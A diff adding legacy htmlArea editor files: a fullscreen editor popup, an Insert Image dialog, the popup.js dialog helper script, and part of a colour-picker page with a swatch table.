+ newWidth = document.body.offsetWidth;\r\r
+ newHeight = document.body.offsetHeight - editor.offsetTop;\r\r
+\r\r
+ if (newWidth < 0) { newWidth = 0; }\r\r
+ if (newHeight < 0) { newHeight = 0; }\r\r
+\r\r
+ editor.style.width = newWidth;\r\r
+ editor.style.height = newHeight;\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : init\r\r
+ Description : run this code on page load\r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function init() {\r\r
+ // change maximize button to minimize button\r\r
+ config.btnList["popupeditor"] = ['popupeditor', 'Minimize Editor', 'update_parent(); window.close();', 'fullscreen_minimize.gif'];\r\r
+\r\r
+ // set htmlmode button to refer to THIS editor\r\r
+ config.btnList["htmlmode"] = ['HtmlMode', 'View HTML Source', 'editor_setmode(\'editor\')', 'ed_html.gif'];\r\r
+\r\r
+ // change image url to be relative to current path\r\r
+ config.imgURL = "../images/";\r\r
+ \r\r
+ // generate editor and resize it\r\r
+ editor_generate('editor', config);\r\r
+ resize_editor();\r\r
+\r\r
+ // switch mode if needed\r\r
+ if (parent_config.mode == 'textedit') { editor_setmode(objname, 'textedit'); }\r\r
+\r\r
+ // set child window contents\r\r
+ var parentHTML = opener.editor_getHTML(parent_objname);\r\r
+ editor_setHTML(objname, parentHTML);\r\r
+\r\r
+ // continuously update parent editor window\r\r
+ window.setInterval(update_parent, 333);\r\r
+\r\r
+ // setup event handlers\r\r
+ document.body.onkeypress = _CloseOnEsc;\r\r
+ window.onresize = resize_editor;\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : update_parent\r\r
+ Description : update parent window editor field with contents from child window\r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function update_parent() {\r\r
+ var childHTML = editor_getHTML(objname);\r\r
+ opener.editor_setHTML(parent_objname, childHTML);\r\r
+}\r\r
+\r\r
+\r\r
+</script>\r\r
+</head>\r\r
+<body scroll="no" onload="init()" onunload="update_parent()">\r\r
+\r\r
+<div style="margin: 0 0 0 0; border-width: 1; border-style: solid; border-color: threedshadow threedhighlight threedhighlight threedshadow; "></div>\r\r
+\r\r
+<textarea name="editor" style="width:100%; height:300px"></textarea><br>\r\r
+\r\r
+</body></html>
\ No newline at end of file
--- /dev/null
+<!-- based on insimage.dlg -->\r\r
+\r\r
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML 3.2//EN">\r\r
+<HTML id=dlgImage STYLE="width: 432px; height: 194px; ">\r\r
+<HEAD>\r\r
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">\r\r
+<meta http-equiv="MSThemeCompatible" content="Yes">\r\r
+<TITLE>Insert Image</TITLE>\r\r
+<style>\r\r
+ html, body, button, div, input, select, fieldset { font-family: MS Shell Dlg; font-size: 8pt; position: absolute; };\r\r
+</style>\r\r
+<SCRIPT defer>\r\r
+\r\r
+function _CloseOnEsc() {\r\r
+ if (event.keyCode == 27) { window.close(); return; }\r\r
+}\r\r
+\r\r
+function _getTextRange(elm) {\r\r
+ var r = elm.parentTextEdit.createTextRange();\r\r
+ r.moveToElementText(elm);\r\r
+ return r;\r\r
+}\r\r
+\r\r
+window.onerror = HandleError\r\r
+\r\r
+function HandleError(message, url, line) {\r\r
+ var str = "An error has occurred in this dialog." + "\n\n"\r\r
+ + "Error: " + line + "\n" + message;\r\r
+ alert(str);\r\r
+ window.close();\r\r
+ return true;\r\r
+}\r\r
+\r\r
+function Init() {\r\r
+ var elmSelectedImage;\r\r
+ var htmlSelectionControl = "Control";\r\r
+ var globalDoc = window.dialogArguments;\r\r
+ var grngMaster = globalDoc.selection.createRange();\r\r
+ \r\r
+ // event handlers \r\r
+ document.body.onkeypress = _CloseOnEsc;\r\r
+ btnOK.onclick = new Function("btnOKClick()");\r\r
+\r\r
+ txtFileName.fImageLoaded = false;\r\r
+ txtFileName.intImageWidth = 0;\r\r
+ txtFileName.intImageHeight = 0;\r\r
+\r\r
+ if (globalDoc.selection.type == htmlSelectionControl) {\r\r
+ if (grngMaster.length == 1) {\r\r
+ elmSelectedImage = grngMaster.item(0);\r\r
+ if (elmSelectedImage.tagName == "IMG") {\r\r
+ txtFileName.fImageLoaded = true;\r\r
+ if (elmSelectedImage.src) {\r\r
+ txtFileName.value = elmSelectedImage.src.replace(/^[^*]*(\*\*\*)/, "$1"); // fix placeholder src values that editor converted to abs paths\r\r
+ txtFileName.intImageHeight = elmSelectedImage.height;\r\r
+ txtFileName.intImageWidth = elmSelectedImage.width;\r\r
+ txtVertical.value = elmSelectedImage.vspace;\r\r
+ txtHorizontal.value = elmSelectedImage.hspace;\r\r
+ txtBorder.value = elmSelectedImage.border;\r\r
+ txtAltText.value = elmSelectedImage.alt;\r\r
+ selAlignment.value = elmSelectedImage.align;\r\r
+ }\r\r
+ }\r\r
+ }\r\r
+ }\r\r
+ txtFileName.value = txtFileName.value || "http://";\r\r
+ txtFileName.focus();\r\r
+}\r\r
+\r\r
+function _isValidNumber(txtBox) {\r\r
+ var val = parseInt(txtBox);\r\r
+ if (isNaN(val) || val < 0 || val > 999) { return false; }\r\r
+ return true;\r\r
+}\r\r
+\r\r
+function btnOKClick() {\r\r
+ var elmImage;\r\r
+ var intAlignment;\r\r
+ var htmlSelectionControl = "Control";\r\r
+ var globalDoc = window.dialogArguments;\r\r
+ var grngMaster = globalDoc.selection.createRange();\r\r
+ \r\r
+ // error checking\r\r
+\r\r
+ if (!txtFileName.value || txtFileName.value == "http://") { \r\r
+ alert("Image URL must be specified.");\r\r
+ txtFileName.focus();\r\r
+ return;\r\r
+ }\r\r
+ if (txtHorizontal.value && !_isValidNumber(txtHorizontal.value)) {\r\r
+ alert("Horizontal spacing must be a number between 0 and 999.");\r\r
+ txtHorizontal.focus();\r\r
+ return;\r\r
+ }\r\r
+ if (txtBorder.value && !_isValidNumber(txtBorder.value)) {\r\r
+ alert("Border thickness must be a number between 0 and 999.");\r\r
+ txtBorder.focus();\r\r
+ return;\r\r
+ }\r\r
+ if (txtVertical.value && !_isValidNumber(txtVertical.value)) {\r\r
+ alert("Vertical spacing must be a number between 0 and 999.");\r\r
+ txtVertical.focus();\r\r
+ return;\r\r
+ }\r\r
+\r\r
+ // delete selected content and replace with image\r\r
+ if (globalDoc.selection.type == htmlSelectionControl && !txtFileName.fImageLoaded) {\r\r
+ grngMaster.execCommand('Delete');\r\r
+ grngMaster = globalDoc.selection.createRange();\r\r
+ }\r\r
+ \r\r
+ idstr = "\" id=\"556e697175657e537472696e67"; // new image creation ID\r\r
+ if (!txtFileName.fImageLoaded) {\r\r
+ grngMaster.execCommand("InsertImage", false, idstr);\r\r
+ elmImage = globalDoc.all['556e697175657e537472696e67'];\r\r
+ elmImage.removeAttribute("id");\r\r
+ elmImage.removeAttribute("src");\r\r
+ grngMaster.moveStart("character", -1);\r\r
+ } else {\r\r
+ elmImage = grngMaster.item(0);\r\r
+ if (elmImage.src != txtFileName.value) {\r\r
+ grngMaster.execCommand('Delete');\r\r
+ grngMaster = globalDoc.selection.createRange();\r\r
+ grngMaster.execCommand("InsertImage", false, idstr);\r\r
+ elmImage = globalDoc.all['556e697175657e537472696e67'];\r\r
+ elmImage.removeAttribute("id");\r\r
+ elmImage.removeAttribute("src");\r\r
+ grngMaster.moveStart("character", -1);\r\r
+ txtFileName.fImageLoaded = false;\r\r
+ }\r\r
+ grngMaster = _getTextRange(elmImage);\r\r
+ }\r\r
+\r\r
+ if (txtFileName.fImageLoaded) {\r\r
+ elmImage.style.width = txtFileName.intImageWidth;\r\r
+ elmImage.style.height = txtFileName.intImageHeight;\r\r
+ }\r\r
+\r\r
+ if (txtFileName.value.length > 2040) {\r\r
+ txtFileName.value = txtFileName.value.substring(0,2040);\r\r
+ }\r\r
+ \r\r
+ elmImage.src = txtFileName.value;\r\r
+ \r\r
+ if (txtHorizontal.value != "") { elmImage.hspace = parseInt(txtHorizontal.value); }\r\r
+ else { elmImage.hspace = 0; }\r\r
+\r\r
+ if (txtVertical.value != "") { elmImage.vspace = parseInt(txtVertical.value); }\r\r
+ else { elmImage.vspace = 0; }\r\r
+ \r\r
+ elmImage.alt = txtAltText.value;\r\r
+\r\r
+ if (txtBorder.value != "") { elmImage.border = parseInt(txtBorder.value); }\r\r
+ else { elmImage.border = 0; }\r\r
+\r\r
+ elmImage.align = selAlignment.value;\r\r
+ grngMaster.collapse(false);\r\r
+ grngMaster.select();\r\r
+ window.close();\r\r
+}\r\r
+</SCRIPT>\r\r
+</HEAD>\r\r
+<BODY id=bdy onload="Init()" style="background: threedface; color: windowtext;" scroll=no>\r\r
+\r\r
+<DIV id=divFileName style="left: 0.98em; top: 1.2168em; width: 7em; height: 1.2168em; ">Image URL:</DIV>\r\r
+<INPUT ID=txtFileName type=text style="left: 8.54em; top: 1.0647em; width: 21.5em;height: 2.1294em; " tabIndex=10 onfocus="select()">\r\r
+\r\r
+<DIV id=divAltText style="left: 0.98em; top: 4.1067em; width: 6.58em; height: 1.2168em; ">Alternate Text:</DIV>\r\r
+<INPUT type=text ID=txtAltText tabIndex=15 style="left: 8.54em; top: 3.8025em; width: 21.5em; height: 2.1294em; " onfocus="select()">\r\r
+\r\r
+<FIELDSET id=fldLayout style="left: .9em; top: 7.1em; width: 17.08em; height: 7.6em;">\r\r
+<LEGEND id=lgdLayout>Layout</LEGEND>\r\r
+</FIELDSET>\r\r
+\r\r
+<FIELDSET id=fldSpacing style="left: 18.9em; top: 7.1em; width: 11em; height: 7.6em;">\r\r
+<LEGEND id=lgdSpacing>Spacing</LEGEND>\r\r
+</FIELDSET>\r\r
+\r\r
+<DIV id=divAlign style="left: 1.82em; top: 9.126em; width: 4.76em; height: 1.2168em; ">Alignment:</DIV>\r\r
+<SELECT size=1 ID=selAlignment tabIndex=20 style="left: 10.36em; top: 8.8218em; width: 6.72em; height: 1.2168em; ">\r\r
+<OPTION id=optNotSet value=""> Not set </OPTION>\r\r
+<OPTION id=optLeft value=left> Left </OPTION>\r\r
+<OPTION id=optRight value=right> Right </OPTION>\r\r
+<OPTION id=optTexttop value=textTop> Texttop </OPTION>\r\r
+<OPTION id=optAbsMiddle value=absMiddle> Absmiddle </OPTION>\r\r
+<OPTION id=optBaseline value=baseline SELECTED> Baseline </OPTION>\r\r
+<OPTION id=optAbsBottom value=absBottom> Absbottom </OPTION>\r\r
+<OPTION id=optBottom value=bottom> Bottom </OPTION>\r\r
+<OPTION id=optMiddle value=middle> Middle </OPTION>\r\r
+<OPTION id=optTop value=top> Top </OPTION>\r\r
+</SELECT>\r\r
+\r\r
+<DIV id=divHoriz style="left: 19.88em; top: 9.126em; width: 4.76em; height: 1.2168em; ">Horizontal:</DIV>\r\r
+<INPUT ID=txtHorizontal style="left: 24.92em; top: 8.8218em; width: 4.2em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=25 onfocus="select()">\r\r
+\r\r
+<DIV id=divBorder style="left: 1.82em; top: 12.0159em; width: 8.12em; height: 1.2168em; ">Border Thickness:</DIV>\r\r
+<INPUT ID=txtBorder style="left: 10.36em; top: 11.5596em; width: 6.72em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=21 onfocus="select()">\r\r
+\r\r
+<DIV id=divVert style="left: 19.88em; top: 12.0159em; width: 3.64em; height: 1.2168em; ">Vertical:</DIV>\r\r
+<INPUT ID=txtVertical style="left: 24.92em; top: 11.5596em; width: 4.2em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=30 onfocus="select()">\r\r
+\r\r
+<BUTTON ID=btnOK style="left: 31.36em; top: 1.0647em; width: 7em; height: 2.2em; " type=submit tabIndex=40>OK</BUTTON>\r\r
+<BUTTON ID=btnCancel style="left: 31.36em; top: 3.6504em; width: 7em; height: 2.2em; " type=reset tabIndex=45 onClick="window.close();">Cancel</BUTTON>\r\r
+\r\r
+</BODY>\r\r
+</HTML>
\ No newline at end of file
--- /dev/null
+// htmlArea v3.0 - Copyright (c) 2002, 2003 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+// http://dynarch.com/mishoo
+//
+// $Id: popup.js,v 1.1.1.1 2006/07/13 13:53:51 matrix Exp $
+
+function getAbsolutePos(el) {
+ var r = { x: el.offsetLeft, y: el.offsetTop };
+ if (el.offsetParent) {
+ var tmp = getAbsolutePos(el.offsetParent);
+ r.x += tmp.x;
+ r.y += tmp.y;
+ }
+ return r;
+};
+
+function comboSelectValue(c, val) {
+ var ops = c.getElementsByTagName("option");
+ for (var i = ops.length; --i >= 0;) {
+ var op = ops[i];
+ op.selected = (op.value == val);
+ }
+ c.value = val;
+};
+
+function __dlg_onclose() {
+ opener.Dialog._return(null);
+};
+
+function __dlg_init(bottom) {
+ var body = document.body;
+ var body_height = 0;
+ if (typeof bottom == "undefined") {
+ var div = document.createElement("div");
+ body.appendChild(div);
+ var pos = getAbsolutePos(div);
+ body_height = pos.y;
+ } else {
+ var pos = getAbsolutePos(bottom);
+ body_height = pos.y + bottom.offsetHeight;
+ }
+ window.dialogArguments = opener.Dialog._arguments;
+ if (!document.all) {
+ window.sizeToContent();
+ window.sizeToContent(); // for reasons beyond understanding,
+ // only if we call it twice we get the
+ // correct size.
+ window.addEventListener("unload", __dlg_onclose, true);
+ // center on parent
+ var x = opener.screenX + (opener.outerWidth - window.outerWidth) / 2;
+ var y = opener.screenY + (opener.outerHeight - window.outerHeight) / 2;
+ window.moveTo(x, y);
+ window.innerWidth = body.offsetWidth + 5;
+ window.innerHeight = body_height + 2;
+ } else {
+ // window.dialogHeight = body.offsetHeight + 50 + "px";
+ // window.dialogWidth = body.offsetWidth + "px";
+ window.resizeTo(body.offsetWidth, body_height);
+ var ch = body.clientHeight + 100;
+ var cw = body.clientWidth;
+ window.resizeBy(body.offsetWidth - cw, body_height - ch + 150);
+ var W = body.offsetWidth;
+ var H = 2 * body_height - ch;
+ var x = (screen.availWidth - W) / 2;
+ var y = (screen.availHeight - H) / 2;
+ window.moveTo(x, y);
+ }
+ document.body.onkeypress = __dlg_close_on_esc;
+};
+
+function __dlg_translate(i18n) {
+ var types = ["span", "option", "td", "button", "div"];
+ for (var type in types) {
+ var spans = document.getElementsByTagName(types[type]);
+ for (var i = spans.length; --i >= 0;) {
+ var span = spans[i];
+ if (span.firstChild && span.firstChild.data) {
+ var txt = i18n[span.firstChild.data];
+ if (txt)
+ span.firstChild.data = txt;
+ }
+ }
+ }
+ var txt = i18n[document.title];
+ if (txt)
+ document.title = txt;
+};
+
+// closes the dialog and passes the return info upper.
+function __dlg_close(val) {
+ opener.Dialog._return(val);
+ window.close();
+};
+
+function __dlg_close_on_esc(ev) {
+ ev || (ev = window.event);
+ if (ev.keyCode == 27) {
+ window.close();
+ return false;
+ }
+ return true;
+};
--- /dev/null
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html style="width: 250px; height: 400px;"><head><!-- note: this version of the color picker is optimized for IE 5.5+ only --><title>Select Color</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+
+function _CloseOnEsc() {
+ if (event.keyCode == 27) { window.close(); return; }
+}
+
+function Init() { // run on page load
+ __dlg_init(); // <!-- this can be found in popup.js -->
+ document.body.onkeypress = _CloseOnEsc;
+
+ var color = window.dialogArguments;
+ color = ValidateColor(color) || '000000';
+ View(color); // set default color
+ window.resizeTo(350, 340);
+}
+
+function View(color) { // preview color
+ document.getElementById("ColorPreview").style.backgroundColor = '#' + color;
+ document.getElementById("ColorHex").value = '#' + color;
+}
+
+function Set(string) { // select color
+ var color = ValidateColor(string);
+ if (color == null) { alert("Invalid color code: " + string); } // invalid color
+ else { // valid color
+ View(color); // show selected color
+ __dlg_close(color);
+ }
+}
+
+function ValidateColor(string) { // return valid color code
+ string = string || '';
+ string = string + "";
+ string = string.toUpperCase();
+ var chars = '0123456789ABCDEF';
+ var out = '';
+
+ for (var i=0; i<string.length; i++) { // remove invalid color chars
+ var schar = string.charAt(i);
+ if (chars.indexOf(schar) != -1) { out += schar; }
+ }
+
+ if (out.length != 6) { return null; } // check length
+ return out;
+}
+
+</script></head>
+
+<body style="margin: 0px; padding: 0px; background: buttonface none repeat scroll 0%; -moz-background-clip: initial; -moz-background-origin: initial; -moz-background-inline-policy: initial;" onload="Init()">
+
+<form method="get" style="margin: 0px; padding: 0px;" onsubmit="Set(document.getElementById('ColorHex').value); return false;">
+<table border="0" cellpadding="4" cellspacing="0" width="100%">
+ <tbody><tr>
+ <td style="background: buttonface none repeat scroll 0%; -moz-background-clip: initial; -moz-background-origin: initial; -moz-background-inline-policy: initial;" valign="center"><div style="padding: 1px; background-color: rgb(0, 0, 0); height: 21px; width: 50px;"><div id="ColorPreview" style="height: 100%; width: 100%;"></div></div><br>
+</td>
+ <td style="background: buttonface none repeat scroll 0%; -moz-background-clip: initial; -moz-background-origin: initial; -moz-background-inline-policy: initial;" valign="center"><input name="ColorHex" id="ColorHex" value="" size="15" style="font-size: 12px;" type="text"></td>
+ <td style="background: buttonface none repeat scroll 0%; -moz-background-clip: initial; -moz-background-origin: initial; -moz-background-inline-policy: initial;" width="100%"><br>
+</td>
+ </tr>
+</tbody></table>
+</form>
+
+<table style="width: 100%; background-color: rgb(0, 0, 0);" border="0" cellpadding="0" cellspacing="1">
+<tbody><tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('4E73A9')" onclick="Set('4E73A9')" bgcolor="#4E73A9" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('003300')" onclick="Set('003300')" bgcolor="#003300" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('006600')" onclick="Set('006600')" bgcolor="#006600" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('009900')" onclick="Set('009900')" bgcolor="#009900" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('00CC00')" onclick="Set('00CC00')" bgcolor="#00cc00" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('00FF00')" onclick="Set('00FF00')" bgcolor="#00ff00" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('330000')" onclick="Set('330000')" bgcolor="#330000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('333300')" onclick="Set('333300')" bgcolor="#333300" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('336600')" onclick="Set('336600')" bgcolor="#336600" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('339900')" onclick="Set('339900')" bgcolor="#339900" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('33CC00')" onclick="Set('33CC00')" bgcolor="#33cc00" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('33FF00')" onclick="Set('33FF00')" bgcolor="#33ff00" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('660000')" onclick="Set('660000')" bgcolor="#660000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('663300')" onclick="Set('663300')" bgcolor="#663300" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('666600')" onclick="Set('666600')" bgcolor="#666600" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('669900')" onclick="Set('669900')" bgcolor="#669900" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('66CC00')" onclick="Set('66CC00')" bgcolor="#66cc00" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('66FF00')" onclick="Set('66FF00')" bgcolor="#66ff00" height="10px" width="10px"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('213884')" onclick="Set('213884')" bgcolor="#213884" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('000033')" onclick="Set('000033')" bgcolor="#000033" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('003333')" onclick="Set('003333')" bgcolor="#003333" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('006633')" onclick="Set('006633')" bgcolor="#006633" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('009933')" onclick="Set('009933')" bgcolor="#009933" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('00CC33')" onclick="Set('00CC33')" bgcolor="#00cc33" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('00FF33')" onclick="Set('00FF33')" bgcolor="#00ff33" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('330033')" onclick="Set('330033')" bgcolor="#330033" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('333333')" onclick="Set('333333')" bgcolor="#333333" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('336633')" onclick="Set('336633')" bgcolor="#336633" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('339933')" onclick="Set('339933')" bgcolor="#339933" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('33CC33')" onclick="Set('33CC33')" bgcolor="#33cc33" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('33FF33')" onclick="Set('33FF33')" bgcolor="#33ff33" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('660033')" onclick="Set('660033')" bgcolor="#660033" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('663333')" onclick="Set('663333')" bgcolor="#663333" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('666633')" onclick="Set('666633')" bgcolor="#666633" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('669933')" onclick="Set('669933')" bgcolor="#669933" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('66CC33')" onclick="Set('66CC33')" bgcolor="#66cc33" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('66FF33')" onclick="Set('66FF33')" bgcolor="#66ff33" height="10px" width="10px"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('88ADD7')" onclick="Set('88ADD7')" bgcolor="#88ADD7" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('000066')" onclick="Set('000066')" bgcolor="#000066" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('003366')" onclick="Set('003366')" bgcolor="#003366" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('006666')" onclick="Set('006666')" bgcolor="#006666" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('009966')" onclick="Set('009966')" bgcolor="#009966" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('00CC66')" onclick="Set('00CC66')" bgcolor="#00cc66" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('00FF66')" onclick="Set('00FF66')" bgcolor="#00ff66" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('330066')" onclick="Set('330066')" bgcolor="#330066" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('333366')" onclick="Set('333366')" bgcolor="#333366" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('336666')" onclick="Set('336666')" bgcolor="#336666" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('339966')" onclick="Set('339966')" bgcolor="#339966" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('33CC66')" onclick="Set('33CC66')" bgcolor="#33cc66" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('33FF66')" onclick="Set('33FF66')" bgcolor="#33ff66" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('660066')" onclick="Set('660066')" bgcolor="#660066" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('663366')" onclick="Set('663366')" bgcolor="#663366" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('666666')" onclick="Set('666666')" bgcolor="#666666" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('669966')" onclick="Set('669966')" bgcolor="#669966" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('66CC66')" onclick="Set('66CC66')" bgcolor="#66cc66" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('66FF66')" onclick="Set('66FF66')" bgcolor="#66ff66" height="10px" width="10px"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('BECFE4')" onclick="Set('BECFE4')" bgcolor="#BECFE4" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('000099')" onclick="Set('000099')" bgcolor="#000099" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('003399')" onclick="Set('003399')" bgcolor="#003399" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('006699')" onclick="Set('006699')" bgcolor="#006699" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('009999')" onclick="Set('009999')" bgcolor="#009999" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('00CC99')" onclick="Set('00CC99')" bgcolor="#00cc99" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('00FF99')" onclick="Set('00FF99')" bgcolor="#00ff99" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('330099')" onclick="Set('330099')" bgcolor="#330099" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('333399')" onclick="Set('333399')" bgcolor="#333399" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('336699')" onclick="Set('336699')" bgcolor="#336699" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('339999')" onclick="Set('339999')" bgcolor="#339999" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('33CC99')" onclick="Set('33CC99')" bgcolor="#33cc99" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('33FF99')" onclick="Set('33FF99')" bgcolor="#33ff99" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('660099')" onclick="Set('660099')" bgcolor="#660099" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('663399')" onclick="Set('663399')" bgcolor="#663399" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('666699')" onclick="Set('666699')" bgcolor="#666699" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('669999')" onclick="Set('669999')" bgcolor="#669999" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('66CC99')" onclick="Set('66CC99')" bgcolor="#66cc99" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('66FF99')" onclick="Set('66FF99')" bgcolor="#66ff99" height="10px" width="10px"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('F59124')" onclick="Set('F59124')" bgcolor="#F59124" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('0000CC')" onclick="Set('0000CC')" bgcolor="#0000cc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('0033CC')" onclick="Set('0033CC')" bgcolor="#0033cc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('0066CC')" onclick="Set('0066CC')" bgcolor="#0066cc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('0099CC')" onclick="Set('0099CC')" bgcolor="#0099cc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('00CCCC')" onclick="Set('00CCCC')" bgcolor="#00cccc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('00FFCC')" onclick="Set('00FFCC')" bgcolor="#00ffcc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('3300CC')" onclick="Set('3300CC')" bgcolor="#3300cc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('3333CC')" onclick="Set('3333CC')" bgcolor="#3333cc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('3366CC')" onclick="Set('3366CC')" bgcolor="#3366cc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('3399CC')" onclick="Set('3399CC')" bgcolor="#3399cc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('33CCCC')" onclick="Set('33CCCC')" bgcolor="#33cccc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('33FFCC')" onclick="Set('33FFCC')" bgcolor="#33ffcc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('6600CC')" onclick="Set('6600CC')" bgcolor="#6600cc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('6633CC')" onclick="Set('6633CC')" bgcolor="#6633cc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('6666CC')" onclick="Set('6666CC')" bgcolor="#6666cc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('6699CC')" onclick="Set('6699CC')" bgcolor="#6699cc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('66CCCC')" onclick="Set('66CCCC')" bgcolor="#66cccc" height="10px" width="10px"><br>
+</td>
+<td onmouseover="View('66FFCC')" onclick="Set('66FFCC')" bgcolor="#66ffcc" height="10px" width="10px"><br>
+</td>
